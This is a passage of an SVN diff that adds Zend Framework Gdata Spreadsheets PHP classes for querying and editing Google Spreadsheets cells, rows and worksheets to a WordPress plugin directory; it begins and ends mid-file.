+            $uri = $location->getQueryUrl();
+        } else if ($location instanceof Zend_Gdata_Spreadsheets_WorksheetEntry) {
+            $uri = $location->getLink(self::LIST_FEED_LINK_URI)->href;
+        } else {
+            $uri = $location;
+        }
+
+        return parent::getFeed($uri, 'Zend_Gdata_Spreadsheets_ListFeed');
+    }
+
+    /**
+     * Gets a list entry.
+     *
+     * @param string $location A ListQuery or a URI specifying the entry location.
+     * @return ListEntry
+     */
+    public function getListEntry($location)
+    {
+        if ($location instanceof Zend_Gdata_Spreadsheets_ListQuery) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+
+        return parent::getEntry($uri, 'Zend_Gdata_Spreadsheets_ListEntry');
+    }
+
+    /**
+     * Updates an existing cell.
+     *
+     * @param int $row The row containing the cell to update
+     * @param int $col The column containing the cell to update
+     * @param int $inputValue The new value for the cell
+     * @param string $key The key for the spreadsheet to be updated
+     * @param string $wkshtId (optional) The worksheet to be updated
+     * @return CellEntry The updated cell entry.
+     */
+    public function updateCell($row, $col, $inputValue, $key, $wkshtId = 'default')
+    {
+        $cell = 'R'.$row.'C'.$col;
+
+        $query = new Zend_Gdata_Spreadsheets_CellQuery();
+        $query->setSpreadsheetKey($key);
+        $query->setWorksheetId($wkshtId);
+        $query->setCellId($cell);
+
+        $entry = $this->getCellEntry($query);
+        $entry->setCell(new Zend_Gdata_Spreadsheets_Extension_Cell(null, $row, $col, $inputValue));
+        $response = $entry->save();
+        return $response;
+    }
+
+    /**
+     * Inserts a new row with provided data.
+     *
+     * @param array $rowData An array of column header to row data
+     * @param string $key The key of the spreadsheet to modify
+     * @param string $wkshtId (optional) The worksheet to modify
+     * @return ListEntry The inserted row
+     */
+    public function insertRow($rowData, $key, $wkshtId = 'default')
+    {
+        $newEntry = new Zend_Gdata_Spreadsheets_ListEntry();
+        $newCustomArr = array();
+        foreach ($rowData as $k => $v) {
+            $newCustom = new Zend_Gdata_Spreadsheets_Extension_Custom();
+            $newCustom->setText($v)->setColumnName($k);
+            $newEntry->addCustom($newCustom);
+        }
+
+        $query = new Zend_Gdata_Spreadsheets_ListQuery();
+        $query->setSpreadsheetKey($key);
+        $query->setWorksheetId($wkshtId);
+
+        $feed = $this->getListFeed($query);
+        $editLink = $feed->getLink('http://schemas.google.com/g/2005#post');
+
+        return $this->insertEntry($newEntry->saveXML(), $editLink->href, 'Zend_Gdata_Spreadsheets_ListEntry');
+    }
+
+    /**
+     * Updates an existing row with provided data.
+     *
+     * @param ListEntry $entry The row entry to update
+     * @param array $newRowData An array of column header to row data
+     */
+    public function updateRow($entry, $newRowData)
+    {
+        $newCustomArr = array();
+        foreach ($newRowData as $k => $v) {
+            $newCustom = new Zend_Gdata_Spreadsheets_Extension_Custom();
+            $newCustom->setText($v)->setColumnName($k);
+            $newCustomArr[] = $newCustom;
+        }
+        $entry->setCustom($newCustomArr);
+
+        return $entry->save();
+    }
+
+    /**
+     * Deletes an existing row .
+     *
+     * @param ListEntry $entry The row to delete
+     */
+    public function deleteRow($entry)
+    {
+        $entry->delete();
+    }
+
+    /**
+     * Returns the content of all rows as an associative array
+     *
+     * @param mixed $location A ListQuery or string URI specifying the feed location.
+     * @return array An array of rows.  Each element of the array is an associative array of data
+     */
+    public function getSpreadsheetListFeedContents($location)
+    {
+        $listFeed = $this->getListFeed($location);
+        $listFeed = $this->retrieveAllEntriesForFeed($listFeed);
+        $spreadsheetContents = array();
+        foreach ($listFeed as $listEntry) {
+            $rowContents = array();
+            $customArray = $listEntry->getCustom();
+            foreach ($customArray as $custom) {
+                $rowContents[$custom->getColumnName()] = $custom->getText();
+            }
+            $spreadsheetContents[] = $rowContents;
+        }
+        return $spreadsheetContents;
+    }
+
+    /**
+     * Returns the content of all cells as an associative array, indexed
+     * off the cell location  (ie 'A1', 'D4', etc).  Each element of
+     * the array is an associative array with a 'value' and a 'function'.
+     * Only non-empty cells are returned by default.  'range' is the
+     * value of the 'range' query parameter specified at:
+     * http://code.google.com/apis/spreadsheets/reference.html#cells_Parameters
+     *
+     * @param mixed $location A CellQuery, WorksheetEntry or a URL (w/o query string) specifying the feed location.
+     * @param string $range The range of cells to retrieve
+     * @param boolean $empty Whether to retrieve empty cells
+     * @return array An associative array of cells
+     */
+    public function getSpreadsheetCellFeedContents($location, $range = null, $empty = false)
+    {
+        $cellQuery = null;
+        if ($location instanceof Zend_Gdata_Spreadsheets_CellQuery) {
+            $cellQuery = $location;
+        } else if ($location instanceof Zend_Gdata_Spreadsheets_WorksheetEntry) {
+            $url = $location->getLink(self::CELL_FEED_LINK_URI)->href;
+            $cellQuery = new Zend_Gdata_Spreadsheets_CellQuery($url);
+        } else {
+            $url = $location;
+            $cellQuery = new Zend_Gdata_Spreadsheets_CellQuery($url);
+        }
+
+        if ($range != null) {
+            $cellQuery->setRange($range);
+        }
+        $cellQuery->setReturnEmpty($empty);
+
+        $cellFeed = $this->getCellFeed($cellQuery);
+        $cellFeed = $this->retrieveAllEntriesForFeed($cellFeed);
+        $spreadsheetContents = array();
+        foreach ($cellFeed as $cellEntry) {
+            $cellContents = array();
+            $cell = $cellEntry->getCell();
+            $cellContents['formula'] = $cell->getInputValue();
+            $cellContents['value'] = $cell->getText();
+            $spreadsheetContents[$cellEntry->getTitle()->getText()] = $cellContents;
+        }
+        return $spreadsheetContents;
+    }
+
+    /**
+     * Alias for getSpreadsheetFeed
+     *
+     * @param mixed $location A DocumentQuery or a string URI specifying the feed location.
+     * @return Zend_Gdata_Spreadsheets_SpreadsheetFeed
+     */
+    public function getSpreadsheets($location = null)
+    {
+        return $this->getSpreadsheetFeed($location = null);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/CellEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/CellEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/CellEntry.php	(revision 44)
@@ -0,0 +1,102 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category     Zend
+ * @package      Zend_Gdata
+ * @subpackage   Spreadsheets
+ * @copyright    Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Spreadsheets_Extension_Cell
+ */
+require_once 'Zend/Gdata/Spreadsheets/Extension/Cell.php';
+
+/**
+ * Concrete class for working with Cell entries.
+ *
+ * @category     Zend
+ * @package      Zend_Gdata
+ * @subpackage   Spreadsheets
+ * @copyright    Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_CellEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Spreadsheets_CellEntry';
+    protected $_cell;
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_CellEntry object.
+     * @param string $uri (optional)
+     * @param DOMElement $element (optional) The DOMElement on which to base this object.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Spreadsheets::$namespaces);
+        parent::__construct($element);
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_cell != null) {
+            $element->appendChild($this->_cell->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+        case $this->lookupNamespace('gs') . ':' . 'cell';
+            $cell = new Zend_Gdata_Spreadsheets_Extension_Cell();
+            $cell->transferFromDOM($child);
+            $this->_cell = $cell;
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Gets the Cell element of this Cell Entry.
+     * @return Zend_Gdata_Spreadsheets_Extension_Cell
+     */
+    public function getCell()
+    {
+        return $this->_cell;
+    }
+
+    /**
+     * Sets the Cell element of this Cell Entry.
+     * @param $cell Zend_Gdata_Spreadsheets_Extension_Cell $cell
+     */
+    public function setCell($cell)
+    {
+        $this->_cell = $cell;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/CellFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/CellFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/CellFeed.php	(revision 44)
@@ -0,0 +1,157 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_Spreadsheets_Extension_RowCount
+ */
+require_once 'Zend/Gdata/Spreadsheets/Extension/RowCount.php';
+
+/**
+ * @see Zend_Gdata_Spreadsheets_Extension_ColCount
+ */
+require_once 'Zend/Gdata/Spreadsheets/Extension/ColCount.php';
+
+/**
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage   Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_CellFeed extends Zend_Gdata_Feed
+{
+
+    /**
+    * The classname for individual feed elements.
+    *
+    * @var string
+    */
+    protected $_entryClassName = 'Zend_Gdata_Spreadsheets_CellEntry';
+
+    /**
+    * The classname for the feed.
+    *
+    * @var string
+    */
+    protected $_feedClassName = 'Zend_Gdata_Spreadsheets_CellFeed';
+
+    /**
+    * The row count for the feed.
+    *
+    * @var Zend_Gdata_Spreadsheets_Extension_RowCount
+    */
+    protected $_rowCount = null;
+
+    /**
+    * The column count for the feed.
+    *
+    * @var Zend_Gdata_Spreadsheets_Extension_ColCount
+    */
+    protected $_colCount = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_CellFeed object.
+     * @param DOMElement $element (optional) The XML Element on which to base this object.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Spreadsheets::$namespaces);
+        parent::__construct($element);
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->rowCount != null) {
+            $element->appendChild($this->_rowCount->getDOM($element->ownerDocument));
+        }
+        if ($this->colCount != null) {
+            $element->appendChild($this->_colCount->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gs') . ':' . 'rowCount';
+                $rowCount = new Zend_Gdata_Spreadsheets_Extension_RowCount();
+                $rowCount->transferFromDOM($child);
+                $this->_rowCount = $rowCount;
+                break;
+            case $this->lookupNamespace('gs') . ':' . 'colCount';
+                $colCount = new Zend_Gdata_Spreadsheets_Extension_ColCount();
+                $colCount->transferFromDOM($child);
+                $this->_colCount = $colCount;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    /**
+     * Gets the row count for this feed.
+     * @return string The row count for the feed.
+     */
+    public function getRowCount()
+    {
+        return $this->_rowCount;
+    }
+
+    /**
+     * Gets the column count for this feed.
+     * @return string The column count for the feed.
+     */
+    public function getColumnCount()
+    {
+        return $this->_colCount;
+    }
+
+    /**
+     * Sets the row count for this feed.
+     * @param string $rowCount The new row count for the feed.
+     */
+    public function setRowCount($rowCount)
+    {
+        $this->_rowCount = $rowCount;
+        return $this;
+    }
+
+    /**
+     * Sets the column count for this feed.
+     * @param string $colCount The new column count for the feed.
+     */
+    public function setColumnCount($colCount)
+    {
+        $this->_colCount = $colCount;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/CellQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/CellQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/CellQuery.php	(revision 44)
@@ -0,0 +1,416 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_App_util
+ */
+require_once('Zend/Gdata/App/Util.php');
+
+/**
+ * Zend_Gdata_Query
+ */
+require_once('Zend/Gdata/Query.php');
+
+/**
+ * Assists in constructing queries for Google Spreadsheets cells
+ *
+ * @link http://code.google.com/apis/gdata/spreadsheets/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage   Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_CellQuery extends Zend_Gdata_Query
+{
+
+    const SPREADSHEETS_CELL_FEED_URI = 'http://spreadsheets.google.com/feeds/cells';
+
+    protected $_defaultFeedUri = self::SPREADSHEETS_CELL_FEED_URI;
+    protected $_visibility = 'private';
+    protected $_projection = 'full';
+    protected $_spreadsheetKey = null;
+    protected $_worksheetId = 'default';
+    protected $_cellId = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_CellQuery object.
+     *
+     * @param string $url Base URL to use for queries
+     */
+    public function __construct($url = null)
+    {
+        parent::__construct($url);
+    }
+
+    /**
+     * Sets the spreadsheet key for this query.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setSpreadsheetKey($value)
+    {
+        $this->_spreadsheetKey = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the spreadsheet key for this query.
+     *
+     * @return string spreadsheet key
+     */
+    public function getSpreadsheetKey()
+    {
+        return $this->_spreadsheetKey;
+    }
+
+    /**
+     * Sets the worksheet id for this query.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setWorksheetId($value)
+    {
+        $this->_worksheetId = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the worksheet id for this query.
+     *
+     * @return string worksheet id
+     */
+    public function getWorksheetId()
+    {
+        return $this->_worksheetId;
+    }
+
+    /**
+     * Sets the cell id for this query.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setCellId($value)
+    {
+        $this->_cellId = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the cell id for this query.
+     *
+     * @return string cell id
+     */
+    public function getCellId()
+    {
+        return $this->_cellId;
+    }
+
+    /**
+     * Sets the projection for this query.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setProjection($value)
+    {
+        $this->_projection = $value;
+        return $this;
+    }
+
+    /**
+     * Sets the visibility for this query.
+     *
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setVisibility($value)
+    {
+        $this->_visibility = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the projection for this query.
+     *
+     * @return string projection
+     */
+    public function getProjection()
+    {
+        return $this->_projection;
+    }
+
+    /**
+     * Gets the visibility for this query.
+     *
+     * @return string visibility
+     */
+    public function getVisibility()
+    {
+        return $this->_visibility;
+    }
+
+    /**
+     * Sets the min-row attribute for this query.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setMinRow($value)
+    {
+        if ($value != null) {
+            $this->_params['min-row'] = $value;
+        } else {
+            unset($this->_params['min-row']);
+        }
+        return $this;
+    }
+
+    /**
+     * Gets the min-row attribute for this query.
+     *
+     * @return string min-row
+     */
+    public function getMinRow()
+    {
+        if (array_key_exists('min-row', $this->_params)) {
+            return $this->_params['min-row'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Sets the max-row attribute for this query.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setMaxRow($value)
+    {
+        if ($value != null) {
+            $this->_params['max-row'] = $value;
+        } else {
+            unset($this->_params['max-row']);
+        }
+        return $this;
+    }
+
+    /**
+     * Gets the max-row attribute for this query.
+     *
+     * @return string max-row
+     */
+    public function getMaxRow()
+    {
+        if (array_key_exists('max-row', $this->_params)) {
+            return $this->_params['max-row'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Sets the min-col attribute for this query.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setMinCol($value)
+    {
+        if ($value != null) {
+            $this->_params['min-col'] = $value;
+        } else {
+            unset($this->_params['min-col']);
+        }
+        return $this;
+    }
+
+    /**
+     * Gets the min-col attribute for this query.
+     *
+     * @return string min-col
+     */
+    public function getMinCol()
+    {
+        if (array_key_exists('min-col', $this->_params)) {
+            return $this->_params['min-col'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Sets the max-col attribute for this query.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setMaxCol($value)
+    {
+        if ($value != null) {
+            $this->_params['max-col'] = $value;
+        } else {
+            unset($this->_params['max-col']);
+        }
+        return $this;
+    }
+
+    /**
+     * Gets the max-col attribute for this query.
+     *
+     * @return string max-col
+     */
+    public function getMaxCol()
+    {
+        if (array_key_exists('max-col', $this->_params)) {
+            return $this->_params['max-col'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Sets the range attribute for this query.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setRange($value)
+    {
+        if ($value != null) {
+            $this->_params['range'] = $value;
+        } else {
+            unset($this->_params['range']);
+        }
+        return $this;
+    }
+
+    /**
+     * Gets the range attribute for this query.
+     *
+     * @return string range
+     */
+    public function getRange()
+    {
+        if (array_key_exists('range', $this->_params)) {
+            return $this->_params['range'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Sets the return-empty attribute for this query.
+     *
+     * @param mixed $value String or bool value for whether to return empty cells
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setReturnEmpty($value)
+    {
+        if (is_bool($value)) {
+            $this->_params['return-empty'] = ($value?'true':'false');
+        } else if ($value != null) {
+            $this->_params['return-empty'] = $value;
+        } else {
+            unset($this->_params['return-empty']);
+        }
+        return $this;
+    }
+
+    /**
+     * Gets the return-empty attribute for this query.
+     *
+     * @return string return-empty
+     */
+    public function getReturnEmpty()
+    {
+        if (array_key_exists('return-empty', $this->_params)) {
+            return $this->_params['return-empty'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Gets the full query URL for this query.
+     *
+     * @return string url
+     */
+    public function getQueryUrl()
+    {
+        if ($this->_url == null) {
+            $uri = $this->_defaultFeedUri;
+
+            if ($this->_spreadsheetKey != null) {
+                $uri .= '/'.$this->_spreadsheetKey;
+            } else {
+                require_once 'Zend/Gdata/App/Exception.php';
+                throw new Zend_Gdata_App_Exception('A spreadsheet key must be provided for cell queries.');
+            }
+
+            if ($this->_worksheetId != null) {
+                $uri .= '/'.$this->_worksheetId;
+            } else {
+                require_once 'Zend/Gdata/App/Exception.php';
+                throw new Zend_Gdata_App_Exception('A worksheet id must be provided for cell queries.');
+            }
+
+            if ($this->_visibility != null) {
+                $uri .= '/'.$this->_visibility;
+            } else {
+                require_once 'Zend/Gdata/App/Exception.php';
+                throw new Zend_Gdata_App_Exception('A visibility must be provided for cell queries.');
+            }
+
+            if ($this->_projection != null) {
+                $uri .= '/'.$this->_projection;
+            } else {
+                require_once 'Zend/Gdata/App/Exception.php';
+                throw new Zend_Gdata_App_Exception('A projection must be provided for cell queries.');
+            }
+
+            if ($this->_cellId != null) {
+                $uri .= '/'.$this->_cellId;
+            }
+        } else {
+            $uri = $this->_url;
+        }
+
+        $uri .= $this->getQueryString();
+        return $uri;
+    }
+
+    /**
+     * Gets the attribute query string for this query.
+     *
+     * @return string query string
+     */
+    public function getQueryString()
+    {
+        return parent::getQueryString();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/DocumentQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/DocumentQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/DocumentQuery.php	(revision 44)
@@ -0,0 +1,287 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_App_util
+ */
+require_once('Zend/Gdata/App/Util.php');
+
+/**
+ * Zend_Gdata_Query
+ */
+require_once('Zend/Gdata/Query.php');
+
+/**
+ * Assists in constructing queries for Google Spreadsheets documents
+ *
+ * @link http://code.google.com/apis/gdata/spreadsheets/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage   Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_DocumentQuery extends Zend_Gdata_Query
+{
+
+    const SPREADSHEETS_FEED_URI = 'http://spreadsheets.google.com/feeds';
+
+    protected $_defaultFeedUri = self::SPREADSHEETS_FEED_URI;
+    protected $_documentType;
+    protected $_visibility = 'private';
+    protected $_projection = 'full';
+    protected $_spreadsheetKey = null;
+    protected $_worksheetId = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_DocumentQuery object.
+     */
+    public function __construct()
+    {
+        parent::__construct();
+    }
+
+    /**
+     * Sets the spreadsheet key for this query.
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setSpreadsheetKey($value)
+    {
+        $this->_spreadsheetKey = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the spreadsheet key for this query.
+     * @return string spreadsheet key
+     */
+    public function getSpreadsheetKey()
+    {
+        return $this->_spreadsheetKey;
+    }
+
+    /**
+     * Sets the worksheet id for this query.
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setWorksheetId($value)
+    {
+        $this->_worksheetId = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the worksheet id for this query.
+     * @return string worksheet id
+     */
+    public function getWorksheetId()
+    {
+        return $this->_worksheetId;
+    }
+
+    /**
+     * Sets the document type for this query.
+     * @param string $value spreadsheets or worksheets
+     * @return Zend_Gdata_Spreadsheets_DocumentQuery Provides a fluent interface
+     */
+    public function setDocumentType($value)
+    {
+        $this->_documentType = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the document type for this query.
+     * @return string document type
+     */
+    public function getDocumentType()
+    {
+        return $this->_documentType;
+    }
+
+    /**
+     * Sets the projection for this query.
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_DocumentQuery Provides a fluent interface
+     */
+    public function setProjection($value)
+    {
+        $this->_projection = $value;
+        return $this;
+    }
+
+    /**
+     * Sets the visibility for this query.
+     * @return Zend_Gdata_Spreadsheets_DocumentQuery Provides a fluent interface
+     */
+    public function setVisibility($value)
+    {
+        $this->_visibility = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the projection for this query.
+     * @return string projection
+     */
+    public function getProjection()
+    {
+        return $this->_projection;
+    }
+
+    /**
+     * Gets the visibility for this query.
+     * @return string visibility
+     */
+    public function getVisibility()
+    {
+        return $this->_visibility;
+    }
+
+    /**
+     * Sets the title attribute for this query.
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_DocumentQuery Provides a fluent interface
+     */
+    public function setTitle($value)
+    {
+        if ($value != null) {
+            $this->_params['title'] = $value;
+        } else {
+            unset($this->_params['title']);
+        }
+        return $this;
+    }
+
+    /**
+     * Sets the title-exact attribute for this query.
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_DocumentQuery Provides a fluent interface
+     */
+    public function setTitleExact($value)
+    {
+        if ($value != null) {
+            $this->_params['title-exact'] = $value;
+        } else {
+            unset($this->_params['title-exact']);
+        }
+        return $this;
+    }
+
+    /**
+     * Gets the title attribute for this query.
+     * @return string title
+     */
+    public function getTitle()
+    {
+        if (array_key_exists('title', $this->_params)) {
+            return $this->_params['title'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Gets the title-exact attribute for this query.
+     * @return string title-exact
+     */
+    public function getTitleExact()
+    {
+        if (array_key_exists('title-exact', $this->_params)) {
+            return $this->_params['title-exact'];
+        } else {
+            return null;
+        }
+    }
+
+    private function appendVisibilityProjection()
+    {
+        $uri = '';
+
+        if ($this->_visibility != null) {
+            $uri .= '/'.$this->_visibility;
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php'; 
+            throw new Zend_Gdata_App_Exception('A visibility must be provided for document queries.');
+        }
+
+        if ($this->_projection != null) {
+            $uri .= '/'.$this->_projection;
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php'; 
+            throw new Zend_Gdata_App_Exception('A projection must be provided for document queries.');
+        }
+
+        return $uri;
+    }
+
+
+    /**
+     * Gets the full query URL for this query.
+     * @return string url
+     */
+    public function getQueryUrl()
+    {
+        $uri = $this->_defaultFeedUri;
+
+        if ($this->_documentType != null) {
+            $uri .= '/'.$this->_documentType;
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php'; 
+            throw new Zend_Gdata_App_Exception('A document type must be provided for document queries.');
+        }
+
+        if ($this->_documentType == 'spreadsheets') {
+            $uri .= $this->appendVisibilityProjection();
+            if ($this->_spreadsheetKey != null) {
+                $uri .= '/'.$this->_spreadsheetKey;
+            }
+        } else if ($this->_documentType == 'worksheets') {
+            if ($this->_spreadsheetKey != null) {
+                $uri .= '/'.$this->_spreadsheetKey;
+            } else {
+                require_once 'Zend/Gdata/App/Exception.php'; 
+                throw new Zend_Gdata_App_Exception('A spreadsheet key must be provided for worksheet document queries.');
+            }
+            $uri .= $this->appendVisibilityProjection();
+            if ($this->_worksheetId != null) {
+                $uri .= '/'.$this->_worksheetId;
+            }
+        }
+
+        $uri .= $this->getQueryString();
+        return $uri;
+    }
+
+    /**
+     * Gets the attribute query string for this query.
+     * @return string query string
+     */
+    public function getQueryString()
+    {
+        return parent::getQueryString();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/Extension/Cell.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/Extension/Cell.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/Extension/Cell.php	(revision 44)
@@ -0,0 +1,201 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
